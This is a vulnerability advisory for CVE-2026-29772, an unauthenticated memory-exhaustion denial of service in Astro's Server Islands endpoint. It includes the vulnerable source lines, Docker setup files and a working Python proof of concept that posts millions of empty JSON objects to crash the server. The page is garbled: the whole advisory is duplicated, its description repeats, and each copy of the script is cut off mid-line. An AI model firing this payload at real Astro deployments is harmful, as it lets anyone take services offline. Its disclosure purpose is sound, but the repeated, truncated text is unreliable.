CVE-2026-29772

Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0.

Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0.

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed…

Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0.

Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0.

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed…